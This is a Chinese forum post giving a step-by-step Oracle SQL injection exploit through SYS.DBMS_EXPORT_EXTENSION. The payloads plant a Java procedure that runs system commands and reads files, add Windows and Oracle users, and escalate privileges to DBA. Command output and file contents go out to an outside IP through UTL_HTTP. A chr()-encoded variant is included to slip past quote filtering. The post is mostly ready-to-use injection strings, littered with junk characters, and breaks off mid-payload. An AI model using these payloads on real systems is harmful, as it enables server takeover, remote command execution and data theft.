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犀利的 oracle 注入技术

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发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成2 f* M4 B6 _' O" i2 N

, t/ _) u  O# J* h: `: [$ Z6 G3 Y/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)) f5 o4 m% y9 z2 G

* v5 M. O( A" E* N的形式即可。(用" 'a'|| "是为了让语句返回true值)# E9 ~/ A4 q. S) ?, e' W
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语句有点长,可能要用post提交。3 e) l" v3 T  w: z# M2 A

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以下是各个步骤:
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1.创建包
3 ^+ i) _" ]6 T通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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6 A8 _4 G5 J9 s; }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 C1 j; b4 U, z# Kcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% I& e$ ]% H3 h* Vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}3 \& B. G) K6 u3 Y
}'''';END;'';END;--','SYS',0,'1',0) from dual' ?: D1 @' t) Q1 h

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------------------------  X, ~; f( m5 A# \! W
如果url有长度限制,可以把readFile()函数块去掉,即:) t5 j; E7 `, f
/xxx.jsp?id=1 and '1'<>'a'||() z2 `& K; e, w
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 J2 C/ J! @+ Y. q* g
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 Z9 }1 A- S& q. e2 snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ [$ \: V  H, O) [}'''';END;'';END;--','SYS',0,'1',0) from dual
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. ~6 j9 Y9 Z2 P5 h* z! |. Q7 ?同时把后面步骤 提到的 对readFile()的处理语句去掉。
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2.赋Java权限2 ~% }5 H9 s$ Z# s9 g

2 B) Y% c5 ^/ T5 H8 Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual6 G: D* O8 g& @" A* [( j
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) K4 |" B+ ^1 |) V2 m. g- S3.创建函数! y! |3 V4 p/ j- a- z( n# ~

% O) L: m  F! m8 y+ h: sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 q+ t) A: J* ^( r
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual- X: s" P1 C3 u: k+ ~4 G

6 h  O0 Q" h  x* a  yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 X/ j) ~% Y* q/ o0 Dcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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5 y# G, x1 Q: `5 ^' a# J4.赋public执行函数的权限5 q+ X2 J6 m7 e  C0 d" s+ `8 R; n

- L2 z9 t5 S: M5 m9 Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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; S; E6 L) E# c. zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual4 r- c( y" b# M+ L; i* t
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5.测试上面的几步是否成功' c' b2 r% A# |: m; g3 f; y$ J

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" w) I6 z, g' U) O& Tselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'+ d% ~- p8 v( |6 w1 q
)
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and '1'<>($ x- E. ^1 k  N
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:
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/xxx.jsp?id=1 and '1'<>(
' c  w8 {, G1 H3 u! y. [select sys.LinxRunCMD('cmd /c net user linx /add') from dual$ p! S8 U* F+ H. O6 s. O
)
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select sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。- ^- }# m5 O6 B( _
如果要查看运行结果可以用 union :
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2 J& H# \  p# E' G2 d) @" a/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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4 A" L# P1 Q- A2 g5 ~- @% L或者UTL_HTTP.request(:: `; T3 f/ M1 o

1 D) ?* v: g( i& C4 o0 ~/xxx.jsp?id=1 and '1'<>(1 U* O  D# g% I" N2 v
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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, P0 s, I" t. S% D( P% ?/xxx.jsp?id=1 and '1'<>(% x/ |( }3 X- @4 X4 s3 ^) Q
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual/ r% ^. n; O; S# ?# S- ~
)
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。9 f6 S" R! `- L9 ?" X

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--------------------
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" p0 s1 U1 [9 [2 c& {6.内部变化
8 K0 V$ [. D; M' C" S3 w通过以下命令可以查看all_objects表达改变:4 v6 y' F" o8 r3 E' j5 B
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'3 X" T' X$ o  q  L/ P( V; X

- `) H/ t, a- O9 L2 F# X+ }& a7.删除我们创建的函数. i! B, Y8 t3 }0 ~, ?: H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" @$ k/ u# ?: a8 W% Q7 h6 D( hdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual; C- P+ A- g8 @- A

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6 e( ~1 x$ ?, f( T+ k8 g4 `( n; Z====================================================' q1 |" B/ P, {9 M% D) W
全文结束。谨以此文赠与我的朋友。4 r- J# |9 k# s9 j- v$ d/ m2 Y

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2008.1.12# Q7 m' Z' B( K) K$ o7 y7 J
linyujian@bjfu.edu.cn
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6 H% n. t7 i6 \) f. K$ j- _! K======================================================================, S( W& Y* R( f' s2 {' `% S

9 _- m8 ~1 G6 ]2 _测试漏洞的另一方法:, P: c8 _) C# A
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创建oracle帐号:/ Z9 W4 p1 C0 x! j  P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: B; @, G6 ?- q  @: m% V7 X/ r& DCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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$ k' U; b$ F% z0 m3 W' J即:
, r5 O4 v' c" Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
8 J) V8 _8 K) u1 J4 fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:' |3 \# E% z9 c/ H4 i, T
1<>(
7 U: z/ O* j9 F& v( X, o9 N5 e' Zselect user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
5 q/ V' r" a% {- K/ qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- k) m; j8 O. B" O/ _, P& }/ M
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual& ~6 ^$ J. T" S% g. ]6 P1 T* h

0 t" J0 F: M4 |删除帐号:
0 L4 ^9 |) |( T9 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', ]4 v. }* M! q7 Z+ \
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================
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- q- x: ^/ c, w7 c, H; i6 Q0 f以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:9 w  |. q% n1 N( b* C

& W% e) X# r5 Y1.jsp?id=1 and '1'<>(
: J8 F, `8 N8 `) X" z  gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ b( q$ b* c9 {7 u) @/ s
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual/ A, N- n& P: }. Z8 l0 z
) and ...
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0 V: I7 A, u1 N+ g1.jsp?id=1 and '1'<>(# U; K+ C/ M3 `; F1 c$ y. U. @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual! g& ~; ^& ]' }
) and ...
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, Z1 j$ R. v' I7 L6 d1.jsp?id=1 and '1'<>(
" I& W" _& D% P( V* f7 t9 O& DSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) `4 E6 d6 K/ \) and ...
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* i+ j9 l) o. K1.jsp?id=1 and '1'<>(
" G: x& i$ p. L0 s& GSELECT sys.Linx_Query('declare pragma
8 |+ F2 n+ |, O, Z: L4 `- Oautonomous_transaction; begin execute immediate ''( t& M: G! n7 a% x2 `0 g
select 1 from dual
8 `' ^* C! t7 O# k* W" F4 Q''; commit; end;') from dual
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3 F* F- {" Y" @多语句:: W' ?- v  R- K: t7 D0 j, H
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual+ U8 G( S- P6 J/ P: u' d# ]- T. L

$ J/ B  @' J! @) p: _+ U: r  w+ K创建用户(除非当前用户有system权限,否则无法成功):
" s1 P) W$ n* N! L" ]1 YSELECT sys.Linx_Query('declare pragma8 _* o% `1 |8 F1 Z
autonomous_transaction; begin execute immediate ''9 }% K0 F' R4 f% K; O) k. B
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
8 K/ i1 W; z6 h7 v) f8 w5 D''; commit; end;') from dual- R9 l* D' x) Q8 R& l9 p5 x' B& o/ S

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================0 B/ j$ W# F; D( p) G) q
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()1 M2 T4 H+ D3 G. o. {3 w2 c9 U

% W7 |! \+ P* r1 K1.创建函数4 D- H2 Z5 Y6 P' K) O# G  y) \1 h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% i8 [; f8 H) T) t% D! S5 u* u; R5 wcreate or replace function Linx_Query (p5 g2 A- B+ w6 Z6 k' Q
varchar2) return number authid current_user is begin execute immediate
/ S; i$ t5 ^( U) G7 R9 i; d/ Ap; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;/ K# W" Z5 r7 }& _* v* k

) ^; A. u5 ]/ T, p如果有权限,以下语句应该允许正常
* B2 ?) K4 M( ~  _: ?9 k+ L  Yselect sys.linx_query('select 1 from dual') from dual;9 d- [) \; B7 `( f8 `1 u

+ p5 r1 D/ q0 h+ m$ ^不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', I; _' }! l' p
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual5 d% H+ b. t8 Z7 L0 {* n) [. z/ T
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9 }% C3 {! C! L2.创建包& [( ~- j3 i! t( t8 }
SELECT sys.Linx_Query('declare pragma2 M+ D- u! w0 @! V% J
autonomous_transaction; begin execute immediate ''
: i5 ~" C, j. V' `; M. Icreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
1 t1 F) X0 A" [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual0 L6 _4 g- U8 h8 V7 a! t5 X

) m# Y& s- y% Y3.创建函数2 Q  U# l& R* u3 N8 M, o: W
SELECT sys.Linx_Query('declare pragma
2 ?  l2 a" a, y3 n5 \: b3 S! Zautonomous_transaction; begin execute immediate ''8 {/ X7 T4 u- T/ H3 E- V
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
. X% k: s1 j4 M. s8 ~: H$ l0 f2 E# O# k: {, u0 p' q  K! z: R
4.给权限! x$ M: Q! Y( ^* M
给用户SYSTEM执行权限:* x, |$ O$ C0 q- c+ |+ R
7 i2 x) u5 Y! i. e: u, X: X( d* l
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
" C0 S) M! P) U6 }+ }7 E
6 d% G0 F) ^& C2 d. c. J
0 G5 T* X( P8 r: g2 t; U
& f3 ^; T% l7 ~! X5 m5 c5 N5 W5.执行函数
, t# R+ N3 x* ^& |& ^# r8 Nselect RunCMD2('cmd /c dir') from dual
, k  i1 k! @; V" K7 \/ S$ E  m; v; C: K, Z) C

- @7 K- ]9 g; v0 w
; R8 C1 e7 D' ?
0 L) v! Y7 |* h; I* P( F) z) B
9 {' L( c" s# \1 E4 P7 ^* d2 g7 K1 J==================0 p& ]! m" M  ^2 e7 h
================================
5 u* u% T7 G7 ?) @, ]0 @. C$ O
' I, A% Y' Z6 h0 O, g9 w( p以下是无 " ' " 版:8 z$ o5 z9 ]% e& k; F- ^- x- B* z/ x
5 P9 A1 _4 \, G: Z
以下是各个步骤:
4 ^. m% b" m: B/ _  Q6 G7 K- U
' _! b  {1 u: H* x2 u6 h1.创建包
* A( S7 l; o' A7 }8 F/ S通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
- [: L6 m. W/ k2 w8 D因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
/ B% f9 A, F) e# V# c/ |% I0 s, c. z6 a4 V& C+ z: J4 x7 \) c- u% u9 o
/xxx.jsp?id=1 and chr(49)<>chr(50)||(3 e. W- h% ?. Z8 |' e

0 D9 m* ~% P7 s; G9 k& ~3 c( d9 Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),0 x$ z+ N) U9 P; {) F! V
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
8 S6 Q  t+ B) I4 i; V* Hchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||  n6 a0 A2 f: R- \8 m8 a
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
( r8 m  l- }- k' ]% Qchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||$ y: b  t: x. ^( h* h8 O
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
6 P" _9 i5 N( _chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||+ y: G0 X& |8 L2 x( D) B/ t
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||( C) L( U- a. `. n- B: b
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||/ N, d- H2 N& \8 \4 p+ B
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
+ @, P# N% j, J4 cchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
1 D7 ?0 l9 b' n+ o% i9 |: e, dchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||- @" [1 r7 `; C! F
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
+ k, ?( |# V: y) @3 M2 g' Mchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||# Y9 e& B# S1 W
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
# j( m+ R4 m; ^  ~chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||; a; g; k4 Z! f: l. P9 n
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||. ]$ N2 A) U" I9 ?# }4 B
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
) B  a: Q- {* F. `1 j  Cchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
* m9 o) F/ }1 f" H5 Zchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
5 T% b3 P/ O% {* j# `" ?9 Dchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||8 w: Q$ f6 t# E" |* N
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||3 |9 x0 l/ Q: p7 t
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
3 F, j% d4 n/ G& ]. `7 Ochr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
